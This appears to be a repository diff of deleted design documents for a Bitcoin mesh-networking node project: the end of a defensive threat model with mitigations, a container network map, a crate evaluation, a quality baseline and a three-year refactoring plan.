| Risk | Severity | Description |
|------|----------|-------------|
| Privacy leak via mesh | Medium | If balance queries are unencrypted, mesh listeners learn which addresses a node controls |
| Targeted robbery ("$5 wrench attack") | High | Knowing a nearby mesh user holds significant BTC creates physical safety risk |
| Double-spend calibration | Medium | Attacker learns victim's UTXO set, can craft better conflicting transactions |
| Change address correlation | Medium | Balance checks reveal which outputs belong to the same wallet |
### Mitigations
- All balance queries must be E2E encrypted (Archipelago already does this)
- The relay should not learn which addresses are being queried (use compact block filters or xpub-blind queries)
- Consider running balance checks against the local pruned node rather than relaying
- Never display exact balances in mesh message logs
- Watch-only wallet approach: node only has xpubs, so even if compromised, no funds can be stolen
### Is Balance Info Useful to an Attacker?
**Not fundamentally** — the same data is publicly available on any block explorer. The real risk is **correlating an address/balance to a physical location via mesh radio proximity**. The mesh signal reveals "someone nearby controls this wallet." That's the threat, not the balance data itself.
---
## 6. Relay/Intermediary Attacks
### Man-in-the-Middle
- **Without encryption**: MITM can read, modify, replay everything. Critical.
- **With Archipelago's encryption**: Messages use ChaCha20-Poly1305 with X25519 key agreement. MITM cannot decrypt or modify. Reduced to traffic analysis.
### Address Substitution
If the relay constructs the unsigned PSBT → **Critical** (relay can substitute address).
If the sender signs locally and sends signed tx → **Safe** (signature prevents modification).
Archipelago's `TxRelayPayload` contains `tx_hex` (fully signed) — correct. Relay cannot modify.
### Replay Attacks
Bitcoin transactions are inherently idempotent — replaying a signed tx is harmless (network rejects duplicates). For non-transaction messages, the `TypedEnvelope` includes a `ts` timestamp for replay window rejection. The Double Ratchet provides per-message keys with forward secrecy, inherently preventing replay.
### Sybil Attacks
Attacker runs multiple mesh nodes to surround a target (mesh eclipse attack).
- **Severity**: High — enables censorship, fake headers, selective relay
- **Mitigation**: Pre-configured trusted peer list (known Ed25519 public keys via DID)
### Single Malicious Relay
If your only relay to the internet is malicious:
- Can censor transactions
- Can feed fake block headers (within PoW cost constraints)
- Can claim broadcasts happened when they didn't
- **Cannot** steal funds, modify transactions, or extract keys
Same trust model as running a Bitcoin node behind a single ISP.
---
## 7. Lightning Network Off-Grid Considerations
### Can Lightning Work Over Mesh?
Partially, with severe constraints:
- **Invoice generation**: Works offline (just needs keys + channel state). BOLT11 relayed via mesh.
- **Payment routing**: Requires the *paying* node to be online. Mesh-only node cannot route.
- **Relay model**: Mesh node generates invoice → sends via mesh → internet peer pays with its own LND. Requires trust in relay.
### Channel State Attacks
**Critical risk for off-grid LN nodes.** If your node goes offline:
- Channel partner can broadcast revoked (outdated) commitment transaction
- They have the CSV delay (~24 hours) to steal funds before you can respond
- If offline longer than CSV delay, **funds can be stolen**
### Watchtower Requirements
Mandatory for any off-grid LN node:
- Must be internet-connected and always online
- Needs encrypted breach remedy data (provided in advance)
- Does NOT need private keys — only pre-signed penalty transactions
- LND has built-in watchtower client/server
### HTLC Timeout Risks
Lightning HTLCs use absolute timelocks. Over high-latency mesh:
- Invoice relay takes minutes to hours
- HTLC might expire before payment completes
- Locked funds until timeout resolution
### Recommendations
- Close or minimize Lightning channels before going off-grid
- Use watchtowers (configure before going offline)
- Set long CSV delays (1008 blocks / ~7 days) for off-grid risk channels
- Validate BOLT11 invoice expiry before relay payment (reject if <10 min remaining)
### Archipelago Status
`LightningRelayPayload` includes `bolt11` and `amount_sats`. `LightningRelayResponsePayload` returns `payment_hash` and `preimage` (cryptographic proof of payment). The preimage is sufficient proof.
### Gap: Invoice Expiry Validation
**Recommendation**: Relay should validate BOLT11 invoice expiry before attempting payment. Reject if about to expire.
---
## 8. Trusted vs. Trustless Solutions
| Solution | Trust Level | Off-Grid Fit | Best For | Bandwidth |
|----------|-------------|--------------|----------|-----------|
| On-chain + confirmations | Trustless | Good (with relay) | High value, can wait | ~250-500 bytes/tx |
| Fedimint ecash | Federation (3-of-5) | Excellent | Community payments | ~200 bytes/token |
| Cashu ecash | Single mint | Excellent | Small amounts, fast | ~200 bytes/token |
| Multisig escrow (2-of-3) | Arbiter | Good with PSBT | High-value trades | ~500 bytes/PSBT |
| Lightning relay | Relay trust | Partial | Fast small payments | ~500 bytes/invoice |
### Fedimint (Federated Chaumian Ecash)
- Federation issues ecash tokens backed by Bitcoin in multisig
- Tokens are bearer instruments — transferable offline
- Double-spend prevention requires online redemption with the mint
- Federation can be local (mesh-connected nodes)
- Trust: threshold of guardians (e.g., 3-of-5) must not collude
### Cashu (Single-Mint Ecash)
- Simpler than Fedimint, single mint operator
- Same bearer token model, transferable offline
- Higher trust (single operator) but simpler deployment
- Ideal for low-value, fast mesh transactions
### Multisig Escrow
For high-value off-grid trades:
1. Pre-establish 2-of-3 multisig (buyer, seller, arbiter)
2. Buyer funds before going off-grid
3. Both parties sign via PSBT over mesh upon delivery
4. Arbiter resolves disputes later
Post-Taproot: MuSig2 key path spend looks like single-sig on-chain (privacy).
### OpenTimestamps
Compact proofs (~few hundred bytes) that data existed at a specific time, anchored to Bitcoin blocks. Useful for unforgeable receipts of payment intent.
---
## 9. Cryptographic Protections
### Current Archipelago Implementation (Strong)
| Layer | Implementation | Assessment |
|-------|---------------|------------|
| Key agreement | X25519 ECDH (Ed25519 → X25519 conversion) | Production-grade |
| Encryption | ChaCha20-Poly1305, random 12-byte nonce from OsRng | Correct choice for constrained environments |
| Forward secrecy | Double Ratchet protocol | Per-message keys, post-compromise security |
| Key derivation | HKDF-SHA256 | Standard |
| Zeroization | `zeroize` crate on ratchet key material | Good |
| Signing | Ed25519 via `TypedEnvelope::new_signed()` | Correct |
| RNG | OsRng (CSPRNG) throughout | Correct — never `rand::thread_rng()` |
### Gap: Dead Man Switch Encryption
The `DeadManSwitch` alert includes GPS coordinates. If broadcast on channel 0, any mesh listener can read the location.
**Recommendation**: Encrypt dead man alerts to each emergency contact individually (using their public keys), not cleartext broadcast.
### Gap: Payment Intent Message Type
**Recommendation**: Create a signed "payment intent" envelope (destination, amount, timestamp, sender signature). Non-repudiable record for dispute resolution.
---
## 10. Real-World Precedents
### Blockstream Satellite
- **Model**: Receive-only blockchain data from geostationary satellites
- **Trust**: Minimal — receiving node validates proof-of-work
- **Limitation**: Receive-only; needs separate return channel for broadcasting
- **Relevance**: Complementary receive channel. Archipelago node could receive blocks from satellite (high bandwidth) and send transactions via mesh (low bandwidth).
### goTenna + Samourai Wallet (TxTenna)
- **Model**: Signed transactions broadcast via goTenna mesh (UHF, ~1-2km)
- **Trust**: Relay chain untrusted — can only forward or drop, not modify
- **Security gap**: No confirmation feedback. No proof of broadcast.
- **Relevance**: Archipelago's design is strictly superior — bidirectional relay, block headers, E2E encryption. TxTenna had none of these.
### Locha Mesh
- **Model**: Custom LoRa hardware for Bitcoin + Lightning in Venezuela
- **Innovation**: Combined Blockstream Satellite (blocks) + mesh (transactions)
- **Status**: Development stalled (~2021)
- **Relevance**: Hybrid satellite + mesh is the ideal model.
### Machankura (USSD Bitcoin in Africa)
- **Model**: Fully custodial Lightning via USSD dial codes on feature phones
- **Trust**: Complete — they hold all keys
- **Relevance**: Demonstrates custodial models have product-market fit in connectivity-constrained environments. Archipelago is the self-sovereign middle ground.
---
## 11. Mesh-Specific Attack Vectors
| Attack | Severity | Detection | Mitigation |
|--------|----------|-----------|------------|
| Continuous radio jamming | High | RSSI spike, no valid packets | Frequency hopping, directional antennas, relocation |
| Selective/reactive jamming | Critical | Hard — packets just "fail" | LoRa spread spectrum helps, but SDR can selectively jam |
| Selective relay | High | Timeout on expected responses | Multiple relay paths, `RelayTracker` timeouts |
| Timing analysis (mesh → mempool correlation) | High | — | Random broadcast delay jitter, steganography |
| Physical proximity (LoRa = geographically nearby) | High | — | Higher SF for range, multi-hop, low TX power |
| Sybil (fake nodes surrounding target) | High | Unknown peers appearing | Pre-configured trusted peer list (Ed25519/DID) |
| Fake GPS/time attacks | Medium | Clock drift detection | Use block height not timestamps, cross-reference headers |
---
## 12. Summary: Archipelago Strengths and Gaps
### Already Strong
- E2E encryption (ChaCha20-Poly1305 + X25519)
- Forward secrecy (Double Ratchet)
- Signed message envelopes (Ed25519)
- Transaction relay with response tracking (`RelayTracker`)
- Block header relay (`BlockHeaderCache`)
- Confirmation tracking (`TxConfirmation` type 12)
- Dead man's switch with GPS
- Steganographic encoding for plausible deniability
- CSPRNG throughout (OsRng), sats as u64
- Reed-Solomon chunking for large payloads over LoRa
### Priority Gaps
| # | Gap | Severity | Effort | Category |
|---|-----|----------|--------|----------|
| G1 | Validate block header chain continuity (check prev_hash linkage) | High | Low | Verification |
| G2 | Validate proof-of-work on received headers | High | Medium | Verification |
| G3 | Sign TxRelayResponse with relay Ed25519 key | Medium | Low | Authentication |
| G4 | Encrypt dead man alerts to emergency contacts (not cleartext) | High | Medium | Privacy |
| G5 | RBF detection — warn/reject RBF-signaled mesh txs | High | Low | Double-spend |
| G6 | BOLT11 invoice expiry validation before relay payment | Medium | Low | Lightning |
| G7 | Multi-relay header comparison (detect eclipse) | High | Medium | Verification |
| G8 | Merkle proof relay for SPV transaction inclusion | High | Medium | Verification |
| G9 | Timestamp sanity checking on received headers | Medium | Low | Verification |
| G10 | Payment intent message type (signed, non-repudiable) | Low | Low | Authentication |
| G11 | Random broadcast delay jitter (timing analysis resistance) | Medium | Low | Privacy |
| G12 | Consider Cashu/ecash for small off-grid payments | Medium | High | Trust model |
| G13 | Watch-only wallet architecture (no keys on node) | High | Medium | Key security |
---
## References
- [PSBT Security Best Practices — CertiK](https://www.certik.com/resources/blog/exploring-psbt-in-bitcoin-defi-security-best-practices)
- [BIP174: Partially Signed Bitcoin Transactions](https://bips.dev/174/)
- [Transaction Relay — Bitcoin Core Academy](https://bitcoincore.academy/transaction-relay.html)
- [SPV — Electrum Documentation](https://electrum.readthedocs.io/en/latest/spv.html)
- [BIP158: Compact Block Filters for Light Clients](https://bips.dev/158/)
- [Eclipse Attacks on Bitcoin's P2P Network](https://eprint.iacr.org/2015/263.pdf)
- [Replace by Fee — Bitcoin Wiki](https://en.bitcoin.it/wiki/Replace_by_fee)
- [Irreversible Transactions — Bitcoin Wiki](https://en.bitcoin.it/wiki/Irreversible_Transactions)
- [Time-Dilation Attacks on the Lightning Network](https://arxiv.org/pdf/2006.01418)
- [Watchtowers — Lightning Builder's Guide](https://docs.lightning.engineering/the-lightning-network/payment-channels/watchtowers)
- [TxTenna — GitHub](https://github.com/MuleTools/txTenna)
- [Blockstream Satellite](https://blockstream.com/satellite/)
- [Locha Mesh — GitHub](https://github.com/btcven/locha)
- [Machankura FAQ](https://8333.mobi/faqs)
- [Fedimint](https://fedimint.org/)
- [Cashu — Open-source Ecash](https://cashu.space/)
- [OpenTimestamps](https://opentimestamps.org/)
- [LoRaWAN Physical Layer Attacks](https://pmc.ncbi.nlm.nih.gov/articles/PMC9100101/)

View File

@@ -1,82 +0,0 @@
# Container Network Topology
## Networks
### archy-net (bridge)
Shared network for Bitcoin ecosystem containers that need DNS-based service discovery.
| Container | Connects To | Why |
|-----------|-------------|-----|
| bitcoin-knots | - | Core Bitcoin node |
| lnd | bitcoin-knots:8332 | Lightning requires Bitcoin RPC |
| mempool-electrs | bitcoin-knots:8332 | Electrum indexer reads blocks |
| mempool-api | mempool-electrs:50001, archy-mempool-db | API queries electrs + MySQL |
| archy-mempool-web | mempool-api (upstream) | Frontend proxies to API |
| archy-mempool-db | - | MySQL for mempool |
| archy-btcpay-db | - | PostgreSQL for BTCPay + nbxplorer |
| archy-nbxplorer | archy-btcpay-db:5432 | Block explorer indexes into Postgres |
| btcpay-server | archy-btcpay-db:5432, archy-nbxplorer:32838 | Payment server |
| fedimint | bitcoin-knots:8332 | Federated mint needs Bitcoin |
| fedimint-gateway | bitcoin-knots:8332, lnd:10009 | Lightning gateway |
### immich-net (bridge)
Isolated network for Immich photo management stack.
| Container | Connects To | Why |
|-----------|-------------|-----|
| immich_postgres | - | PostgreSQL for Immich |
| immich_redis | - | Cache for Immich |
| immich_server | immich_postgres, immich_redis | Main Immich app |
### penpot-net (bridge)
Isolated network for Penpot design tool stack.
| Container | Connects To | Why |
|-----------|-------------|-----|
| penpot-postgres | - | PostgreSQL for Penpot |
| penpot-valkey | - | Cache (Redis-compatible) |
| penpot-backend | penpot-postgres, penpot-valkey | API server |
| penpot-exporter | penpot-backend | PDF/SVG renderer |
| penpot-frontend | penpot-backend | UI server |
### host network
Containers that need direct host network access.
| Container | Why |
|-----------|-----|
| tailscale | VPN requires NET_ADMIN + host networking |
| archy-electrs-ui | Static status page served on host port 50002 |
### podman (default bridge)
Standalone containers with no inter-container dependencies.
| Container | Exposed Port |
|-----------|-------------|
| homeassistant | 8123 |
| grafana | 3000 |
| uptime-kuma | 3001 |
| jellyfin | 8096 |
| photoprism | 2342 |
| dwn | 3100 |
| ollama | 11434 |
| vaultwarden | (dynamic) |
| nextcloud | (dynamic) |
| searxng | 8888 |
| nginx-proxy-manager | 81 |
| portainer | 9000 |
| filebrowser | 8083 |
| archy-bitcoin-ui | 8082 |
| archy-lnd-ui | 8081 |
| nostr-rs-relay | 8080 |
## Known Issues (2026-03-14)
1. **fedimint/fedimint-gateway on wrong network (.198)**: Should be on archy-net but are on default podman network. Fixed by reconnecting.
2. **penpot incomplete (.198)**: penpot-frontend and penpot-backend containers missing. Only postgres, valkey, and exporter exist.
3. **.228 unreachable**: Cannot audit .228 network topology — SSH/HTTP ports closed.
## Code References
- Network assignment: `core/archipelago/src/api/rpc/package.rs` (`needs_archy_net` match)
- First-boot creation: `scripts/first-boot-containers.sh`
- Health monitor exclusions: `core/archipelago/src/health_monitor.rs`

View File

@@ -1,44 +0,0 @@
# Pkarr Crate Evaluation for did:dht Enhancement
## Summary
**Recommendation: Switch to pkarr when did:dht work resumes.**
Pkarr (v5.0.3, 550K downloads) provides a higher-level abstraction over Mainline DHT specifically for decentralized DNS-like records, which is exactly what did:dht needs.
## Current Implementation
Archy's `core/archipelago/src/network/did_dht.rs` (~211 lines):
- Uses `mainline` crate directly for BEP-44 mutable items
- Stores DID Documents as **JSON** (not DNS packets as spec requires)
- Custom 1-hour in-memory TTL cache
- No relay fallback
## Pkarr Advantages
| Feature | Archy Current | Pkarr |
|---------|---------------|-------|
| BEP-44 signing | Yes (via mainline) | Yes (integrated) |
| DNS packet encoding | No (stores JSON) | Yes (RFC 1035 compliant) |
| Relay fallback | No | Yes |
| Spec compliance | Partial | Full (DNS packets) |
| Caching | Custom 1-hour TTL | Pluggable with built-in cache |
### Key Difference: DNS Packet Encoding
The did:dht spec requires DID Documents to be stored as DNS packets (RFC 1035), not JSON. Our current implementation works for node-to-node resolution (both sides understand our JSON format), but is non-standard. Pkarr handles DNS packet encoding automatically via `SignedPacket` and `SignedPacketBuilder`.
### Relay Fallback
Pkarr includes relay server support for nodes behind restrictive NATs or firewalls. Our current implementation has no fallback when DHT connectivity fails.
## Migration Estimate
- Replace `did_dht.rs` with pkarr API calls
- Add `pkarr = "5.0.3"` to Cargo.toml
- Estimated: 1-2 hours implementation + testing
- No breaking changes to RPC interface
## Decision
Keep current implementation for now (it works). Switch to pkarr when actively developing did:dht features, as it brings spec compliance and relay fallback with less custom code.

View File

@@ -1,26 +0,0 @@
# Quality Baseline — 2026-03-11 (updated 2026-03-11)
Regression target: violation counts must only go down, never up.
## Metrics
| Metric | Count | Status |
|--------|-------|--------|
| Silent catches (business logic) | 0 | PASS (was 22) |
| Console statements (non-dev-gated) | 0 | PASS (was 78) |
| `any` types | 0 | PASS (was 15) |
| TypeScript type-check | 0 errors | PASS |
| Build | 0 warnings, 0 errors | PASS (2.6s) |
| Tests | 515 passed, 0 failed | PASS (38 files) |
| npm audit (runtime) | 0 vulnerabilities | PASS |
| npm audit (dev-only) | 4 high (serialize-javascript) | ACCEPTED |
## History
- **2026-03-11**: Initial baseline — 22 silent catches, 78 console statements, 15 any types
- **2026-03-10**: QUAL-02 fixed all silent catches (0 remaining)
- **2026-03-10**: QUAL-03 wrapped all 37 non-dev-gated console statements with `import.meta.env.DEV`
- **2026-03-10**: QUAL-04 replaced all 15 `any` types with proper TypeScript types
- **2026-03-10**: QUAL-05 added pre/post-deploy health checks to deploy script
- **2026-03-10**: QUAL-06 documented canary deploy process in `docs/canary-deploy.md`
- **2026-03-11**: MAINT-03 quarterly sweep — 515 tests (was 41), zero regressions, npm deps updated

View File

@@ -1,264 +0,0 @@
# Archy Refactoring Plan — Codebase Quality & Reliability
**Period**: March 2026 — March 2029
**Scope**: Refactoring, bug fixes, library adoption, testing, performance only
**Out of scope**: New features, design changes, UI changes
This plan exists alongside the feature roadmap. Refactoring work should be interleaved with feature sprints — not blocked by them.
---
## Year 1: Fix What's Broken, Adopt Proper Libraries (March 2026 — Feb 2027)
### Q1 2026: Critical Fixes & Database
#### 1. Enable SQLite via sqlx (HIGH — crash resilience)
- **Problem**: All state is in-memory. Crashes lose everything except container snapshots. `sqlx` is commented out in `core/Cargo.toml`.
- **Fix**: Uncomment sqlx, create migrations for: sessions, user data, peer state, metrics history, notification log. Keep the in-memory `DataModel` as a read cache backed by SQLite.
- **Files**: `core/Cargo.toml`, `core/archipelago/src/state.rs`, new `core/archipelago/src/db/` module
- **Why not a full Postgres**: Single-user appliance. SQLite is the right choice — zero config, file-based, embedded.
#### 2. Enforce RBAC (HIGH — security)
- **Problem**: `UserRole::can_access()` is implemented in `auth.rs` but never called in `rpc/mod.rs`. Every authenticated user has full admin access.
- **Fix**: Add role check in `RpcHandler::handle()` before dispatching to method handlers. Wire up role assignment during onboarding.
- **Files**: `core/archipelago/src/api/rpc/mod.rs`, `core/archipelago/src/auth.rs`
#### 3. Fix session TTL clock bug (HIGH — correctness)
- **Problem**: `session.rs` uses `Instant::now()` for TTL. `Instant` is monotonic but resets on system sleep/hibernate — common on the hardware Archy targets.
- **Fix**: Use `SystemTime::now()` for session expiry timestamps, or better — use `tower-sessions` with the new SQLite backend.
- **Files**: `core/archipelago/src/session.rs`
#### 4. Fix 10 failing frontend tests (MEDIUM)
- **Problem**: `appLauncher.test.ts` and `settings.test.ts` are out of sync with current implementation.
- **Fix**: Update test expectations to match current behavior. Don't mock what doesn't need mocking.
- **Files**: `neode-ui/src/stores/__tests__/appLauncher.test.ts`, `neode-ui/src/views/__tests__/settings.test.ts`
#### 5. Remove dead dependencies (LOW)
- **Problem**: `dockerode` in `package.json` is unused (container ops go through RPC).
- **Fix**: `npm uninstall dockerode @types/dockerode`
- **Files**: `neode-ui/package.json`
### Q2 2026: WebSocket Efficiency & Validation
#### 6. Add json-patch crate to backend (HIGH — performance)
- **Problem**: Backend broadcasts the entire `DataModel` on every state change. Frontend already has `fast-json-patch` and supports incremental updates. Backend just doesn't generate patches.
- **Fix**: Add `json-patch` crate. Before broadcasting, diff old vs new `DataModel`, send only the RFC 6902 patch. Fall back to full sync if patch is larger than full model.
- **Files**: `core/Cargo.toml`, `core/archipelago/src/state.rs`
#### 7. Add form validation with zod (MEDIUM — maintainability)
- **Problem**: Manual inline validation scattered across Login, Settings, Onboarding. As forms grow, this becomes a maintenance burden.
- **Fix**: `npm install zod`. Create validation schemas in `src/types/schemas.ts`. Use in forms and RPC request builders. This is especially important for onboarding where bad input causes cryptographic key generation to fail silently.
- **Files**: `neode-ui/package.json`, new `neode-ui/src/types/schemas.ts`, `Login.vue`, `Settings.vue`, onboarding views
#### 8. Move hardcoded app metadata to manifest files (MEDIUM — maintainability)
- **Problem**: `docker_packages.rs` has hardcoded port mappings, titles, descriptions, and icon paths for ~20 apps. App manifests exist in `apps/` but aren't the source of truth.
- **Fix**: Make `apps/{app-id}/manifest.yml` the single source of truth. Load metadata from manifests at startup. Remove hardcoded maps from Rust source.
- **Files**: `core/archipelago/src/container/docker_packages.rs`, `apps/*/manifest.yml`
### Q3 2026: Error Handling & Testing
#### 9. Structured error types per backend module (MEDIUM — debuggability)
- **Problem**: Everything uses `anyhow::Result`. When errors bubble up through RPC, you lose the module context. User-facing vs system errors aren't distinguished at the type level.
- **Fix**: Create `thiserror` error enums for each major module: `AuthError`, `ContainerError`, `FederationError`, `IdentityError`. Map to appropriate HTTP status codes and user-friendly messages in the RPC layer.
- **Files**: Each module in `core/archipelago/src/`
#### 10. Backend integration tests for RPC endpoints (HIGH — reliability)
- **Problem**: 312 unit tests exist but zero integration tests for 80+ RPC endpoints. No test ever makes an actual HTTP request to the server.
- **Fix**: Create integration test harness that spins up a real server instance (with test config, temp data dir). Test auth flow, container operations, identity, federation. Use `reqwest` as test client.
- **Files**: New `core/archipelago/tests/` directory
#### 11. Frontend 404 route (LOW — UX)
- **Problem**: No catch-all route. Invalid URLs silently show nothing.
- **Fix**: Add `/:pathMatch(.*)*` catch-all route that shows a "Page not found" view with navigation back to dashboard.
- **Files**: `neode-ui/src/router/index.ts`, new `neode-ui/src/views/NotFound.vue`
### Q4 2026: Clean Up Dead Code & CI
#### 12. Remove dead code and #[allow(dead_code)] (LOW — cleanliness)
- **Problem**: `auth.rs` has `#[allow(dead_code)]` on `OnboardingState` fields and `AuthManager` methods. Either use them or remove them.
- **Fix**: Audit all `#[allow(dead_code)]`, `#[allow(unused)]`. Remove genuinely unused code. Wire up code that should be used (like RBAC — covered in item 2).
- **Files**: `core/archipelago/src/auth.rs` and others
#### 13. Set up CI pipeline (HIGH — process)
- **Problem**: No automated testing on push/PR. All testing is manual or via deploy scripts.
- **Fix**: GitHub Actions workflow: `cargo clippy`, `cargo test`, `npm run type-check`, `npm run test` on every push. Fail the build on warnings.
- **Files**: New `.github/workflows/ci.yml`
#### 14. Cosign container image verification (MEDIUM — security)
- **Problem**: `podman_client.rs:95` has a TODO for cosign signature verification. Container images are pulled without validation.
- **Fix**: Implement cosign verification using the `sigstore` crate, or shell out to `cosign verify` as a first step. At minimum, verify image digests against a pinned manifest.
- **Files**: `core/container/src/podman_client.rs`, `core/security/`
---
## Year 2: Robustness & Performance (March 2027 — Feb 2028)
### Q1 2027: Backend Architecture
#### 15. Migrate from hyper to axum (MEDIUM — maintainability)
- **Problem**: Raw `hyper` 0.14 with manual routing in `handler.rs` (813 lines). Route matching, middleware, and error handling are all hand-rolled. `hyper` 0.14 is also end-of-life.
- **Fix**: Migrate to `axum` (built on hyper 1.x, maintained by tokio team). Axum gives you: extractors, middleware stack, typed routing, tower integration. The RPC methods stay the same — only the HTTP layer changes.
- **Files**: `core/archipelago/src/api/handler.rs`, `core/archipelago/src/api/mod.rs`, `core/Cargo.toml`
- **Risk**: Medium. Do this on a branch, test thoroughly. The RPC logic doesn't change, just the HTTP glue.
#### 16. Replace custom rate limiter with tower middleware (LOW — correctness)
- **Problem**: Hand-rolled in-memory rate limiter in `rpc/mod.rs`. Works for single instance but not distributed.
- **Fix**: Use `tower::limit::RateLimitLayer` or `governor` crate. Cleaner, tested, configurable per-route.
- **Files**: `core/archipelago/src/api/rpc/mod.rs`
#### 17. Persistent sessions in SQLite (MEDIUM — UX)
- **Problem**: Sessions are in-memory. Server restart logs out all users.
- **Fix**: With SQLite from item 1, store sessions in DB. Users stay logged in across restarts.
- **Files**: `core/archipelago/src/session.rs`
### Q2 2027: Frontend Architecture
#### 18. Audit and optimize bundle size (MEDIUM — performance)
- **Problem**: D3 is a large dependency (~240KB) used only for `LineChart.vue`. Target is <500KB gzipped.
- **Fix**: Replace full `d3` import with only `d3-scale`, `d3-shape`, `d3-axis` (tree-shakeable). Or evaluate `unovis` or native Canvas for simple line charts. Measure before and after.
- **Files**: `neode-ui/package.json`, `neode-ui/src/components/LineChart.vue`
#### 19. Vue Router route transitions (LOW — polish)
- **Problem**: No transition animations between routes. Pages appear/disappear instantly.
- **Fix**: Add `<RouterView v-slot>` with `<Transition>` wrapper. Simple fade (200ms) is enough — matches the existing glassmorphism feel without changing the design.
- **Files**: `neode-ui/src/App.vue`
- **Note**: This is not a design change — it's a missing standard Vue pattern.
#### 20. TypeScript strict cleanup (LOW — type safety)
- **Problem**: WebSocket callback types in `app.ts:105` use inline object types instead of importing the `Update` type from `@/types/api`.
- **Fix**: Audit all stores and components for inline type definitions that should reference shared types. Centralize in `src/types/`.
- **Files**: `neode-ui/src/stores/app.ts`, `neode-ui/src/types/`
### Q3 2027: Testing & Observability
#### 21. Reach 60% test coverage (HIGH — reliability)
- **Problem**: Frontend has ~505 passing tests but many views untested. Backend has zero RPC integration tests.
- **Fix**: Prioritize testing for: auth flow, container lifecycle, WebSocket reconnection, federation handshake, backup/restore. Use coverage reports to find gaps.
- **Target**: 60% line coverage frontend, 50% backend
#### 22. Add OpenTelemetry tracing (MEDIUM — observability)
- **Problem**: `tracing` is used for logging but there's no distributed tracing or metrics export. When something goes wrong in production, you're reading log files.
- **Fix**: Add `tracing-opentelemetry` and `opentelemetry-otlp`. Export traces to a local collector (Grafana is already a supported app). Instrument RPC handlers, container operations, federation sync.
- **Files**: `core/Cargo.toml`, `core/archipelago/src/main.rs`
#### 23. Prometheus metrics export (MEDIUM — monitoring)
- **Problem**: `MetricsStore` collects data but doesn't expose it. No way to monitor Archy health externally.
- **Fix**: Add `/metrics` endpoint in Prometheus format using `prometheus` crate. Expose: RPC latency histograms, active sessions, container health, WebSocket connections, memory usage.
- **Files**: `core/archipelago/src/api/handler.rs`, `core/archipelago/src/monitoring/`
### Q4 2027: Performance
#### 24. Optimize container scanner (MEDIUM — CPU)
- **Problem**: `docker_packages.rs` scans all containers every 10 seconds with full JSON parsing. On a system with 30+ containers, this is unnecessary CPU churn.
- **Fix**: Use Podman events API (`podman events --format json`) to watch for container state changes instead of polling. Fall back to polling every 60s as a safety net.
- **Files**: `core/archipelago/src/container/docker_packages.rs`
#### 25. Lazy-load i18n locales (LOW — bundle size)
- **Problem**: Spanish locale exists but loading behavior isn't optimized.
- **Fix**: Use Vue i18n's lazy loading: load only the active locale on startup, fetch others on demand.
- **Files**: `neode-ui/src/i18n.ts`
---
## Year 3: Production Hardening (March 2028 — March 2029)
### Q1 2028: Resilience
#### 26. Database migration system (MEDIUM — upgradability)
- **Problem**: Once SQLite is in use, schema changes need managed migrations.
- **Fix**: Use `sqlx` migrations (already supported). Create `core/archipelago/migrations/` directory. Run migrations on startup before serving requests.
- **Files**: `core/archipelago/migrations/`, `core/archipelago/src/main.rs`
#### 27. Graceful degradation for container failures (MEDIUM — UX)
- **Problem**: If Podman is down or unresponsive, the entire backend can hang on container operations.
- **Fix**: Add timeouts to all Podman CLI calls (some already have them, make it universal). Show degraded state in UI rather than hanging. Container operations should never block the main RPC handler.
- **Files**: `core/container/src/podman_client.rs`
#### 28. WebSocket backpressure handling (LOW — stability)
- **Problem**: Broadcast channel capacity is 100. If a slow client can't keep up, messages are dropped silently.
- **Fix**: Detect `RecvError::Lagged`, send full resync to that client. Log when clients fall behind consistently.
- **Files**: `core/archipelago/src/api/handler.rs`
### Q2 2028: Security Hardening
#### 29. Full security audit pass (HIGH — security)
- **Problem**: Various small issues accumulated: CORS could be tighter, rate limiting coverage is incomplete, error messages could leak internal paths.
- **Fix**: Systematic pass through all 80+ RPC endpoints. Verify: input validation, authorization, rate limiting, error sanitization, path traversal prevention. Document findings.
- **Files**: All RPC handlers
#### 30. Automated dependency security scanning (MEDIUM — supply chain)
- **Problem**: No automated `cargo audit` or `npm audit` in CI.
- **Fix**: Add to CI pipeline. Run weekly via cron. Block releases on known vulnerabilities (with severity threshold).
- **Files**: `.github/workflows/ci.yml`, `scripts/audit-deps.sh`
### Q3 2028: Final Quality
#### 31. Reach 80% test coverage (HIGH — confidence)
- **Target**: 80% line coverage across frontend and backend
- **Focus**: Edge cases, error paths, recovery scenarios, concurrent operations
#### 32. Load testing (MEDIUM — capacity planning)
- **Problem**: No load testing. Unknown how many concurrent users, containers, or WebSocket connections Archy can handle on target hardware.
- **Fix**: Create load test suite with `k6` or `criterion` (Rust). Test: concurrent RPC calls, WebSocket connections, container operations. Document capacity limits per hardware tier.
- **Files**: New `tests/load/` directory
#### 33. Code documentation pass (LOW — maintainability)
- **Problem**: Module-level docs are sparse. New contributors (or future you) need to understand the architecture from code alone.
- **Fix**: Add `//!` module docs to every Rust module. Add JSDoc to every Vue composable and store. Document the "why" of architectural decisions inline.
- **Files**: All modules
### Q4 2028: Polish & Maintenance
#### 34. Dependency update cycle (ONGOING)
- Monthly: `cargo update`, `npm update`, review changelogs
- Quarterly: Major version upgrades (evaluate breaking changes)
- Yearly: Evaluate if any custom code can be replaced by now-mature libraries
#### 35. Refactoring retrospective
- Review this plan against actual state
- Document what worked, what didn't
- Create Year 4+ maintenance plan if needed
---
## Priority Summary
| Priority | Item | Impact |
|----------|------|--------|
| **Critical** | 1. SQLite database | Crash resilience |
| **Critical** | 2. Enforce RBAC | Security |
| **Critical** | 3. Fix session TTL bug | Correctness |
| **Critical** | 6. JSON patch broadcasting | Performance |
| **Critical** | 13. CI pipeline | Process |
| **High** | 4. Fix failing tests | Reliability |
| **High** | 10. Backend integration tests | Reliability |
| **High** | 14. Cosign verification | Security |
| **High** | 15. Migrate hyper → axum | Maintainability |
| **High** | 21. 60% test coverage | Reliability |
| **High** | 29. Security audit | Security |
| **High** | 31. 80% test coverage | Confidence |
| **Medium** | 7. Zod validation | Maintainability |
| **Medium** | 8. Manifest-driven metadata | Maintainability |
| **Medium** | 9. Structured error types | Debuggability |
| **Medium** | 17. Persistent sessions | UX |
| **Medium** | 18. D3 tree-shaking | Bundle size |
| **Medium** | 22. OpenTelemetry | Observability |
| **Medium** | 23. Prometheus metrics | Monitoring |
| **Medium** | 24. Container scanner optimization | CPU |
| **Low** | 5. Remove dockerode | Cleanliness |
| **Low** | 11. 404 route | UX |
| **Low** | 12. Dead code cleanup | Cleanliness |
| **Low** | 16. Tower rate limiter | Correctness |
| **Low** | 19. Route transitions | Polish |
| **Low** | 20. TypeScript cleanup | Type safety |
| **Low** | 25. Lazy i18n | Bundle size |
---
## Guiding Principles
